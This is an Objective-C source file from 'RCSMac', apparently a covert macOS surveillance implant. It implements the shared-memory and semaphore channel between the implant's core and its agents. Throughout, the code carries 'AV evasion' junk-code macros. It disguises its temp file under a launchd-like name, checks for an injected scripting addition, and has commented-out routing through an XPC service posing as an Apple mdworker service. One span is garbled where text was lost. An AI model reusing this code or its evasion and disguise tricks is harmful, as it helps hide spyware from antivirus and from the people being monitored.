/* * RCSMac - Shared Memory Class * Wrapper around and * * [QUICK TODO] * - Move all the ERRORS #define in a common place * * Created by Alfredo 'revenge' Pesoli on 26/03/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #import #import #import #import #import "RCSMCommon.h" #import "RCSMSharedMemory.h" #import "RCSMDebug.h" #import "RCSMLogger.h" #import "RCSMAVGarbage.h" // access permissions on shared memory 0666 #define GLOBAL_PERMISSIONS 0666 // error strings #define EUNKNOWN_STR "Unknown Error occured" #define ENOSPC_STR "All possible shared memory IDs are allocated" #define ENOMEM_STR "Allocating requested size would exceed the limit on shared memory" #define EACCES_STR "You do not have access permission" #define EINVAL_STR "Invalid segment size specified" #define EINVAL_STR2 "Not a valid memory identifier" #define EMFILE_STR "The number of shared memory segments has reached it's limit" #pragma mark - #pragma mark Implementation #pragma mark - static time_t testPreviousTime = 0; // function pointers for dinamic linking on 10.7 //static BOOL (*_sandbox_check)(pid_t pid, int type, int operation) = NULL; //static const struct _xpc_type_s *__xpc_type_dictionary; //static const struct _xpc_type_s *__xpc_type_error; //static struct _xpc_dictionary_s *__xpc_error_connection_interrupted; //static struct _xpc_dictionary_s *__xpc_error_connection_invalid; // //static xpc_object_t (*_xpc_dictionary_create)(const char **, const xpc_object_t *, size_t) = NULL; //static xpc_object_t (*_xpc_int64_create)(uint64_t) = NULL; //static xpc_object_t (*_xpc_data_create)(const void *, size_t) = NULL; // //static const void *(*_xpc_dictionary_get_data)(xpc_object_t, const char *, size_t *) = NULL; //static void (*_xpc_dictionary_set_value)(xpc_object_t , const char *, xpc_object_t) = NULL; // //static xpc_type_t (*_xpc_get_type)(xpc_object_t) = NULL; // //static xpc_connection_t (*_xpc_connection_create)(const char *, dispatch_queue_t) = NULL; //static void (*_xpc_connection_resume)(xpc_connection_t) = NULL; //static void (*_xpc_connection_set_event_handler)(xpc_connection_t, xpc_handler_t) = NULL; //static void (*_xpc_connection_send_message_with_reply)(xpc_connection_t, // xpc_object_t, // dispatch_queue_t, // xpc_handler_t) = NULL; //static xpc_object_t (*_xpc_connection_send_message_with_reply_sync)(xpc_connection_t, xpc_object_t); //static void (*_xpc_release)(xpc_object_t) = NULL; // // Building on sdk < 10.7 //static BOOL resolveXpcFunc() //{ // void *libsystem = dlopen("/usr/lib/libSystem.dylib", RTLD_NOW); // // if (libsystem == NULL) // { //#ifdef DEBUG_SHMEM // infoLog(@"error on loading library libSystem"); //#endif // return NO; // } // // __xpc_type_error = dlsym(libsystem, "_xpc_type_error"); // __xpc_type_dictionary = dlsym(libsystem, "_xpc_type_dictionary"); // __xpc_error_connection_invalid = dlsym(libsystem, "_xpc_error_connection_invalid"); // __xpc_error_connection_interrupted = dlsym(libsystem, "_xpc_error_connection_interrupted"); // // _xpc_dictionary_create = dlsym(libsystem, "xpc_dictionary_create"); // _xpc_int64_create = dlsym(libsystem, "xpc_int64_create"); // _xpc_data_create = dlsym(libsystem, "xpc_data_create"); // // _xpc_dictionary_get_data = dlsym(libsystem, "xpc_dictionary_get_data"); // _xpc_dictionary_set_value = dlsym(libsystem, "xpc_dictionary_set_value"); // _xpc_get_type = dlsym(libsystem, "xpc_get_type"); // // _xpc_connection_create = dlsym(libsystem, "xpc_connection_create"); // _xpc_connection_resume = dlsym(libsystem, "xpc_connection_resume"); // _xpc_connection_set_event_handler = dlsym(libsystem, "xpc_connection_set_event_handler"); // _xpc_connection_send_message_with_reply = dlsym(libsystem, "xpc_connection_send_message_with_reply"); // _xpc_connection_send_message_with_reply_sync = dlsym(libsystem, "xpc_connection_send_message_with_reply_sync"); // _xpc_release = dlsym(libsystem, "xpc_release"); // // if (_xpc_dictionary_create == NULL || // _xpc_int64_create == NULL || // _xpc_data_create == NULL || // _xpc_dictionary_get_data == NULL || // _xpc_dictionary_set_value == NULL || // _xpc_get_type == NULL || // _xpc_connection_create == NULL || // _xpc_connection_set_event_handler == NULL || // _xpc_connection_send_message_with_reply == NULL || // _xpc_connection_send_message_with_reply_sync == NULL || // _xpc_release == NULL) // { //#ifdef DEBUG_SHMEM // infoLog(@"error resolving xpc sym"); //#endif // return NO; // } // // void *sndbox = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW); // // if (sndbox != NULL) // _sandbox_check = dlsym(sndbox, "sandbox_check"); // // if (_sandbox_check == NULL) // { //#ifdef DEBUG_SHMEM // infoLog(@"error resolving sndbox_check sym"); //#endif // return NO; // } // // return YES; //} //static BOOL sandbox_compatibility(pid_t pid, int operation, int type) //{ // BOOL bRet = FALSE; // // // AV evasion: only on release build // AV_GARBAGE_001 // // if (resolveXpcFunc() == NO) // { //#ifdef DEBUG_SHMEM // infoLog(@"error resolving xpc function addresses"); //#endif // return bRet; // } // else // { //#ifdef DEBUG_SHMEM // infoLog(@" xpc function resolved"); //#endif // } // // // AV evasion: only on release build // AV_GARBAGE_004 // // bRet = _sandbox_check(pid, operation, type); // //#ifdef DEBUG_SHMEM // infoLog(@"Application sanboxed %d", bRet); //#endif // // return bRet; //} static BOOL amIPrivileged() { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_009 BOOL bRet = FALSE; // AV evasion: only on release build AV_GARBAGE_001 if (getuid() == 0 || geteuid() == 0) bRet = TRUE; else { // AV evasion: only on release build AV_GARBAGE_003 NSString *appleHID = [[NSString alloc] initWithFormat: @"/%@/%@/%@", LIBRARY_NSSTRING, OSAX_FOLDER, OSAX_NAME]; bRet = [[NSFileManager defaultManager] fileExistsAtPath: appleHID]; // AV evasion: only on release build AV_GARBAGE_001 [appleHID release]; } [pool release]; return bRet; } @implementation __m_MSharedMemory - (id)initWithKey: (int)aKey size: (int)aSize semaphoreName: (NSString *)aSemaphoreName { if (self = [super init]) { // TODO: Fix SemaphoreID mSharedMemory = NULL; mSemaphoreID = 0; mKey = aKey; mSize = aSize; mSemaphoreName = [aSemaphoreName copy]; // amISandboxed = sandbox_compatibility(getpid(),0 ,0); mBamIPrivUser = amIPrivileged(); } return self; } - (void)dealloc { if ([self detachFromMemoryRegion] == 0) { if (sem_close(mSemaphoreID) == 0) { #ifdef DEBUG_SHMEM infoLog(@"Semaphore closed correctly"); #endif } } [mSemaphoreName release]; [super dealloc]; } - (void)removeMappedFile { if (mBamIPrivUser) return; // AV evasion: only on release build AV_GARBAGE_003 NSString *tmpFileName = [[NSString alloc] initWithFormat: @"/tmp/launchdch-%d", mKey]; // AV evasion: only on release build AV_GARBAGE_007 if ([[NSFileManager defaultManager] fileExistsAtPath: tmpFileName] == TRUE) { [[NSFileManager defaultManager] removeItemAtPath: tmpFileName error: nil]; } } //- (char *)_guessXPCServiceName: (NSString*)aPath //{ // char *retString = NULL; // // // AV evasion: only on release build // AV_GARBAGE_003 // // NSFileManager *localFileManager = [NSFileManager defaultManager]; // NSDirectoryEnumerator *dirEnum = [localFileManager enumeratorAtPath: aPath]; // // NSString *_file; // // while (_file = [dirEnum nextObject]) // { // if ([_file hasPrefix: XPC_BUNDLE_FOLDER_PREFIX]) // { //#ifdef DEBUG_SHMEM // //infoLog(@"%s: found xpc service with name %@", __FUNCTION__, _file); //#endif // // // AV evasion: only on release build // AV_GARBAGE_002 // // retString = (char*)[_file UTF8String]; // // retString[strlen(retString) - 4] = 0; // // // // AV evasion: only on release build // AV_GARBAGE_001 // // return retString; // } // } // // return retString; //} - (void)zeroFillMemory { if (mSharedMemory) memset(mSharedMemory, '\0', mSize); } - (int)detachFromMemoryRegion { struct shmid_ds SharedMemDS; // AV evasion: only on release build AV_GARBAGE_003 // if sanboxed do nothing... // if (amISandboxed) // return 0; if (mBamIPrivUser) { // AV evasion: only on release build AV_GARBAGE_001 if (shmdt(mSharedMemory) != -1) { // AV evasion: only on release build AV_GARBAGE_002 shmctl([self mSharedMemoryID], IPC_STAT, &SharedMemDS); // Check if there's anything still attached to the region if (SharedMemDS.shm_nattch == 0) { // Remove the segment in order to free the key and memory shmctl(mSharedMemoryID, IPC_RMID, NULL); #ifdef DEBUG_SHMEM infoLog(@"Shared Memory (%d) destroyed", mSharedMemoryID); #endif } else { #ifdef DEBUG_SHMEM infoLog(@"We have still someone attached here dude, can't destroy"); #endif //shmctl(mSharedMemoryID, IPC_RMID, NULL); } } else return -1; } else { // AV evasion: only on release build AV_GARBAGE_001 munmap(mSharedMemory, mSize); close(mSharedMemoryID); } // AV evasion: only on release build AV_GARBAGE_007 return 0; } - (int)attachToMemoryRegion { // AV evasion: only on release build AV_GARBAGE_003 // If sandboxed to nothing... // if (amISandboxed == NO) // { if (mBamIPrivUser) { // AV evasion: only on release build AV_GARBAGE_002 mSharedMemory = shmat(mSharedMemoryID, 0, GLOBAL_PERMISSIONS); if (mSharedMemory == NULL) { #ifdef DEBUG_SHMEM char *error = NULL; switch (errno) { case EACCES: error = EACCES_STR; break; case ENOMEM: error = ENOMEM_STR; break; case EINVAL: error = EINVAL_STR2; break; case EMFILE: error = EMFILE_STR; break; default: error = EUNKNOWN_STR; } infoLog(@"Error shmat: %s", error); #endif return -1; } } else { // AV evasion: only on release build AV_GARBAGE_005 mSharedMemory = mmap(NULL, mSize, PROT_READ|PROT_WRITE, MAP_FILE|MAP_SHARED, mSharedMemoryID, 0); // AV evasion: only on release build AV_GARBAGE_002 if (mSharedMemory == NULL) { return -1; } // } #ifdef DEBUG_SHMEM infoLog(@"ptrSharedMemory: 0x%08x", mSharedMemory); #endif // AV evasion: only on release build AV_GARBAGE_009 mSemaphoreID = sem_open((const char *)mSemaphoreName, O_CREAT, GLOBAL_PERMISSIONS, 1); // AV evasion: only on release build AV_GARBAGE_002 if ((int *)mSemaphoreID == SEM_FAILED) { #ifdef DEBUG_SHMEM infoLog(@"An error occured while opening semaphore in sem_open()"); #endif // AV evasion: only on release build AV_GARBAGE_001 if (mBamIPrivUser) shmdt(mSharedMemory); return -1; } } // AV evasion: only on release build AV_GARBAGE_000 return 0; } - (int)createMemoryRegion { // AV evasion: only on release build AV_GARBAGE_001 // If sandboxed read shmem by xpc service // if (amISandboxed) // { // char *service_name = "com.apple.mdworker_server"; // //[self _guessXPCServiceName: XPC_BUNDLE_FRAMEWORK_PATH]; // // if (service_name == NULL) // { //#ifdef DEBUG_SHMEM // //infoLog(@"%s: error getting service name", __FUNCTION__); //#endif // return -1; // } // else // { //#ifdef DEBUG_SHMEM // //infoLog(@"%s: setting service name %s", __FUNCTION__, service_name); //#endif // } // // // AV evasion: only on release build // AV_GARBAGE_003 // // xpc_handler_t handler = (^(xpc_object_t event) // { // xpc_type_t type = _xpc_get_type(event); // // if (type == __xpc_type_error) // { //#ifdef DEBUG_SHMEM // //infoLog(@"error cannot continue!"); //#endif // } // }); // // // AV evasion: only on release build // AV_GARBAGE_001 // // mXpcCon = _xpc_connection_create("com.apple.mdworker_server", NULL); // // _xpc_connection_set_event_handler(mXpcCon, handler); // // _xpc_connection_resume(mXpcCon); // // return 0; // } // AV evasion: only on release build AV_GARBAGE_009 if (mBamIPrivUser) { mSharedMemoryID = shmget(mKey, mSize, IPC_CREAT | GLOBAL_PERMISSIONS); // AV evasion: only on release build AV_GARBAGE_007 if (mSharedMemoryID == -1) { #ifdef DEBUG_SHMEM char *error = NULL; switch (errno) { case ENOSPC: error = ENOSPC_STR; break; case ENOMEM: error = ENOMEM_STR; break; case EACCES: error = EACCES_STR; break; case EINVAL: error = EINVAL_STR; break; //case EEXIST: return -2; default: error = EUNKNOWN_STR; } infoLog(@"Error shmget: %s", error); #endif return -1; } } else { // AV evasion: only on release build AV_GARBAGE_002 // create a tmp file for shmem NSString *tmpFileName = [[NSString alloc] initWithFormat: @"/tmp/launchdch-%d", mKey]; // AV evasion: only on release build AV_GARBAGE_007 if ([[NSFileManager defaultManager] fileExistsAtPath: tmpFileName] == FALSE) { int intZero = 0; mSharedMemoryID = open([tmpFileName UTF8String], O_CREAT|O_RDWR, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH); // AV evasion: only on release build AV_GARBAGE_009 // create/rewrite the file, mSharedMemory read fail if not if (mSharedMemoryID != -1) { for (int i=0; iagentID; int tmpCommandType = memoryHeader->commandType; if (tmpAgentID != 0 && tmpCommandType == CM_AGENT_CONF) { memset((void *)(mSharedMemory + offset), '\0', sizeof(shMemoryLog)); } else { // Not found offset += sizeof (shMemoryLog); } } while (offset < mSize); // AV evasion: only on release build AV_GARBAGE_008 return TRUE; } - (void)_unlockShmem { if (mBamIPrivUser == NO) sem_post(mSemaphoreID); } - (void)_lockShmem { if (mBamIPrivUser == NO) if (sem_wait(mSemaphoreID) != 0) return; } //- (BOOL)writeMemorybyXPC: (NSData *)aData // offset: (u_int)anOffset // fromComponent: (u_int)aComponent //{ // // AV evasion: only on release build // AV_GARBAGE_001 // // xpc_object_t reply; // BOOL bRet = FALSE; // // if (aData == nil || // [aData length] == 0) // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] write memory with aData = nil"); //#endif // return bRet; // } // else // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] writeMemorybyXPC...."); //#endif // } // // // AV evasion: only on release build // AV_GARBAGE_006 // // // Write command // xpc_object_t cmd = _xpc_int64_create(WRITE_XPC_CMD); // xpc_object_t off = _xpc_int64_create(anOffset); // xpc_object_t cmp = _xpc_int64_create(aComponent); // xpc_object_t data = _xpc_data_create([aData bytes], [aData length]); // // xpc_object_t message = _xpc_dictionary_create(NULL, NULL, 0); // // _xpc_dictionary_set_value(message, "command", cmd); // _xpc_dictionary_set_value(message, "offset", off); // _xpc_dictionary_set_value(message, "component", cmp); // _xpc_dictionary_set_value(message, "data", data); // // reply = _xpc_connection_send_message_with_reply_sync(mXpcCon, message); // // // AV evasion: only on release build // AV_GARBAGE_003 // // if (reply != NULL) // { // xpc_type_t type = _xpc_get_type(reply); // // if (type == __xpc_type_error) // { // if (reply == __xpc_error_connection_interrupted) // { //#ifdef DEBUG_SHMEM // infoLog(@"xpc error connection interrupted"); //#endif // } // else if (reply == __xpc_error_connection_invalid) // { //#ifdef DEBUG_SHMEM // infoLog(@"xpc error connection invalid"); //#endif // } // } // else if (type == __xpc_type_dictionary) // { // unsigned long len = 0; // char *buff = NULL; // // buff = (char*)_xpc_dictionary_get_data(reply, "data", &len); // // if (buff == NULL || len == 0) // { //#ifdef DEBUG_SHMEM // infoLog(@"xpc error getting raw data"); //#endif // } // else // { //#ifdef DEBUG_SHMEM // infoLog(@"xpc getting raw data len %lu", len); //#endif // memcpy(&bRet, buff, sizeof(bRet)); // } // } // } // // // AV evasion: only on release build // AV_GARBAGE_006 // // _xpc_release(message); // // return bRet; //} //- (NSMutableData*)readMemoryByXPC:(u_int)anOffset // fromComponent:(u_int)aComponent //{ // NSMutableData *xpcReplyData = nil; // // // AV evasion: only on release build // AV_GARBAGE_001 // // // reading command // xpc_object_t cmd = _xpc_int64_create(READ_XPC_CMD); // xpc_object_t off = _xpc_int64_create(anOffset); // xpc_object_t cmp = _xpc_int64_create(aComponent); // // xpc_object_t message = _xpc_dictionary_create(NULL, NULL, 0); // // _xpc_dictionary_set_value(message, "command", cmd); // _xpc_dictionary_set_value(message, "offset", off); // _xpc_dictionary_set_value(message, "component", cmp); // // // blocking send message // xpc_object_t reply = _xpc_connection_send_message_with_reply_sync(mXpcCon, message); // // // AV evasion: only on release build // AV_GARBAGE_008 // // if (reply != NULL) // { // xpc_type_t type = _xpc_get_type(reply); // // if (type == __xpc_type_error) // { // if (reply == __xpc_error_connection_interrupted) // { //#ifdef DEBUG_SHMEM // infoLog(@" [XPC __m_MSharedMemory] xpc error connection interrupted"); //#endif // } // else if (reply == __xpc_error_connection_invalid) // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] xpc error connection invalid"); //#endif // } // } // else if (type == __xpc_type_dictionary) // { // unsigned long len; // char *buff; // // buff = (char*)_xpc_dictionary_get_data(reply, "data", &len); // // if (buff == NULL) // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] xpc error getting raw data"); //#endif // } // else // { // xpcReplyData = [[NSMutableData alloc] initWithBytes:buff // length:len]; //#ifdef DEBUG_SHMEM // if (anOffset == OFFT_CLIPBOARD) // { // infoLog(@"[XPC __m_MSharedMemory] read memory at off %#x", anOffset); // // shMemoryCommand *cmd = (shMemoryCommand*)buff; // // infoLog(@"[XPC __m_MSharedMemory] agentID %#x cmd %#x", cmd->agentID, cmd->command); // } //#endif // } // } // } // // // AV evasion: only on release build // AV_GARBAGE_007 // // _xpc_release(message); // // return xpcReplyData; //} //- (NSMutableData *)readMemoryByXPCFromComponent: (u_int)aComponent // forAgent: (u_int)anAgentID // withCommandType: (u_int)aCommandType // //{ // NSMutableData *xpcReplyData = nil; // // // AV evasion: only on release build // AV_GARBAGE_001 // // // reading command // xpc_object_t cmd = _xpc_int64_create(READ_XPC_COMP_CMD); // xpc_object_t cmp = _xpc_int64_create(aComponent); // xpc_object_t agt = _xpc_int64_create(anAgentID); // xpc_object_t typ = _xpc_int64_create(aCommandType); // // xpc_object_t message = _xpc_dictionary_create(NULL, NULL, 0); // // _xpc_dictionary_set_value(message, "command", cmd); // _xpc_dictionary_set_value(message, "component", cmp); // _xpc_dictionary_set_value(message, "agent", agt); // _xpc_dictionary_set_value(message, "type", typ); // // // // blocking send message // xpc_object_t reply = _xpc_connection_send_message_with_reply_sync(mXpcCon, message); // // // AV evasion: only on release build // AV_GARBAGE_004 // // if (reply != NULL) // { // xpc_type_t type = _xpc_get_type(reply); // // if (type == __xpc_type_error) // { // if (reply == __xpc_error_connection_interrupted) // { //#ifdef DEBUG_SHMEM // infoLog(@" [XPC __m_MSharedMemory] xpc error connection interrupted"); //#endif // } // else if (reply == __xpc_error_connection_invalid) // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] xpc error connection invalid"); //#endif // } // } // else if (type == __xpc_type_dictionary) // { // unsigned long len; // char *buff; // // buff = (char*)_xpc_dictionary_get_data(reply, "data", &len); // // if (buff == NULL) // { //#ifdef DEBUG_SHMEM // infoLog(@"[XPC __m_MSharedMemory] xpc error getting raw data"); //#endif // } // else // { // xpcReplyData = [[NSMutableData alloc] initWithBytes:buff // length:len]; // } // } // } // // // AV evasion: only on release build // AV_GARBAGE_008 // // _xpc_release(message); // // return xpcReplyData; //} - (NSMutableData *)readMemoryFromComponent: (u_int)aComponent forAgent: (u_int)anAgentID withCommandType: (u_int)aCommandType { // AV evasion: only on release build AV_GARBAGE_003 NSMutableData *readData = nil; shMemoryLog *tempHeader = NULL; // if sandboxed read shmem by xpc api // if (amISandboxed) // { // readData = [self readMemoryByXPCFromComponent: aComponent // forAgent: anAgentID // withCommandType: aCommandType]; // // return readData; // } BOOL lookForAgent = NO; BOOL foundAgent = NO; BOOL lookForCommand = NO; BOOL foundCommand = NO; BOOL blockFound = NO; BOOL blockMatched = NO; u_int offset = 0; // AV evasion: only on release build AV_GARBAGE_005 if (aComponent != COMP_CORE && aComponent != COMP_AGENT) { #ifdef DEBUG_SHMEM infoLog(@"[EE] readMemory-log unsupported component"); #endif return nil; } // AV evasion: only on release build AV_GARBAGE_009 if (anAgentID == 0 && aCommandType == 0) { #ifdef DEBUG_SHMEM infoLog(@"[EE] readMemory-log usupported read"); #endif } // AV evasion: only on release build AV_GARBAGE_002 if (aCommandType != 0) { lookForCommand = YES; } if (anAgentID != 0) { lookForAgent = YES; } time_t lowestTimestamp = 0; u_int matchingObjectOffset = 0; // AV evasion: only on release build AV_GARBAGE_007 // // Find the first available block who matches our request // do { tempHeader = (shMemoryLog *)(mSharedMemory + offset); int tempState = tempHeader->status; int tmpAgentID = tempHeader->agentID; int tmpCommandType = tempHeader->commandType; int tmpDirection = tempHeader->direction; if (tempState == SHMEM_FREE) { offset += sizeof (shMemoryLog); continue; } if (tempState == SHMEM_LOCKED) { #ifdef DEBUG_SHMEM infoLog(@"ANOMALY! FOUND LOCKED BLOCK ON READ"); #endif } // AV evasion: only on release build AV_GARBAGE_000 if (lookForCommand == YES) { if (((aCommandType & tmpCommandType) == tmpCommandType) && tmpCommandType != 0) { foundCommand = YES; } } if (lookForAgent == YES) { if (tmpAgentID == anAgentID) { foundAgent = YES; } } // AV evasion: only on release build AV_GARBAGE_005 // Looking only for commandType if ((lookForCommand == YES && foundCommand == YES) && lookForAgent == NO) blockFound = YES; // Looking only for agentID if ((lookForAgent == YES && foundAgent == YES) && lookForCommand == NO) blockFound = YES; // Looking for both if ((lookForCommand == YES && foundCommand == YES) && (lookForAgent == YES && foundAgent == YES)) blockFound = YES; // AV evasion: only on release build AV_GARBAGE_002 if (blockFound == YES) { if ((tmpDirection ^ aComponent) == 0) { #ifdef DEBUG_SHMEM infoLog(@"[ii] Found data matching our request on shmem"); #endif blockMatched = YES; if (lowestTimestamp == 0) { lowestTimestamp = tempHeader->timestamp; matchingObjectOffset = offset; } else if (tempHeader->timestamp < lowestTimestamp) { lowestTimestamp = tempHeader->timestamp; matchingObjectOffset = offset; } } } // AV evasion: only on release build AV_GARBAGE_003 offset += sizeof (shMemoryLog); foundCommand = NO; foundAgent = NO; blockFound = NO; } while (offset < mSize); if (blockMatched == YES) { //infoLog(@"lowest Timestamp: %x", lowestTimestamp); // AV evasion: only on release build AV_GARBAGE_001 if (testPreviousTime != 0) { if (lowestTimestamp < testPreviousTime) { #ifdef DEBUG_SHMEM infoLog(@"ANOMALY DETECTED in shared memory!"); infoLog(@"previousTimestamp: %x", testPreviousTime); infoLog(@"lowestTimestamp : %x", lowestTimestamp); #endif } } // AV evasion: only on release build AV_GARBAGE_006 testPreviousTime = lowestTimestamp; readData = [[NSMutableData alloc] initWithBytes: (char *)(mSharedMemory + matchingObjectOffset) length: sizeof(shMemoryLog)]; if (aCommandType != CM_AGENT_CONF) { // AV evasion: only on release build AV_GARBAGE_003 memset((char *)(mSharedMemory + matchingObjectOffset), '\0', sizeof(shMemoryLog)); } } else { //infoLog(@"block not found while reading!!!!!"); return nil; } // AV evasion: only on release build AV_GARBAGE_002 return readData; } - (NSMutableData *)readMemory: (u_int)anOffset fromComponent: (u_int)aComponent { // AV evasion: only on release build AV_GARBAGE_003 NSMutableData *readData = nil; // if sandboxed read shmem by xpc api // if (amISandboxed) // { // readData = [self readMemoryByXPC: anOffset // fromComponent: aComponent]; // // return [readData autorelease]; // } // AV evasion: only on release build AV_GARBAGE_003 shMemoryCommand *memoryHeader = (shMemoryCommand *)(mSharedMemory + anOffset); if (aComponent != COMP_CORE && aComponent != COMP_AGENT) { #ifdef DEBUG_SHMEM infoLog(@"[EE] readMemory-command unsupported component"); #endif return nil; } // AV evasion: only on release build AV_GARBAGE_009 if (anOffset == 0) { #ifdef DEBUG_SHMEM infoLog(@"[EE] readMemory-command offset is zero"); #endif return nil; } // AV evasion: only on release build AV_GARBAGE_008 if (memoryHeader->agentID != 0) { // // Now if who is reading is the same as who this data is directed to, // read it and clean out the area // if ((aComponent ^ memoryHeader->direction) == 0) { #ifdef DEBUG_SHMEM infoLog(@"Found data on shared memory"); #endif // AV evasion: only on release build AV_GARBAGE_007 readData = [[NSMutableData alloc] initWithBytes: mSharedMemory + anOffset length: sizeof(shMemoryCommand)]; //memset((void *)(mSharedMemory + anOffset), '\0', sizeof(shMemoryCommand)); } } return [readData autorelease]; } - (BOOL)writeMemory: (NSData *)aData offset: (u_int)anOffset fromComponent: (u_int)aComponent { int memoryState = 0; // AV evasion: only on release build AV_GARBAGE_002 // // Do it by xpc service // if (amISandboxed) // return [self writeMemorybyXPC:aData offset:anOffset fromComponent:aComponent]; // // In case we receive 0 as offset it means that we're dealing within the logs // shared memory, thus we need to find the first available block (not written) // if (anOffset == 0 || anOffset == 1) { if (anOffset == 1) { // AV evasion: only on release build AV_GARBAGE_003 [self zeroFillMemory]; anOffset = 0; } [self _lockShmem]; do { memoryState = *(unsigned int *)(mSharedMemory + anOffset); if (memoryState != SHMEM_FREE) { anOffset += sizeof (shMemoryLog); } else { memoryState = SHMEM_LOCKED; break; } if (anOffset >= mSize) { [self _unlockShmem]; usleep(100000); return FALSE; } } while (memoryState != SHMEM_FREE); // AV evasion: only on release build AV_GARBAGE_004 memcpy((void *)(mSharedMemory + anOffset), [aData bytes], sizeof(shMemoryLog)); [self _unlockShmem]; } else { //memoryState = *(unsigned int *)(mSharedMemory + anOffset); [self _lockShmem]; // AV evasion: only on release build AV_GARBAGE_005 memcpy((void *)(mSharedMemory + anOffset), [aData bytes], sizeof(shMemoryCommand)); [self _unlockShmem]; } return TRUE; } #pragma mark - #pragma mark Getter/Setter #pragma mark - - (void)setSharedMemory: (char *)value { mSharedMemory = value; } - (char *)mSharedMemory { return mSharedMemory; } - (void)setSharedMemoryID: (int)value { mSharedMemoryID = value; } - (int)mSharedMemoryID { return mSharedMemoryID; } - (void)setKey: (int)value { mKey = value; } - (int)mKey { return mKey; } - (void)setSize: (int)value { mSize = value; } - (int)mSize { return mSize; } - (sem_t *)mSemaphoreID { return mSemaphoreID; } - (void)setSemaphoreID: (sem_t *)value { mSemaphoreID = value; } - (void)setSemaphoreName: (NSString *)value { if (value != mSemaphoreName) { [mSemaphoreName release]; mSemaphoreName = [value retain]; } } - (NSString *)mSemaphoreName { return mSemaphoreName; } @end .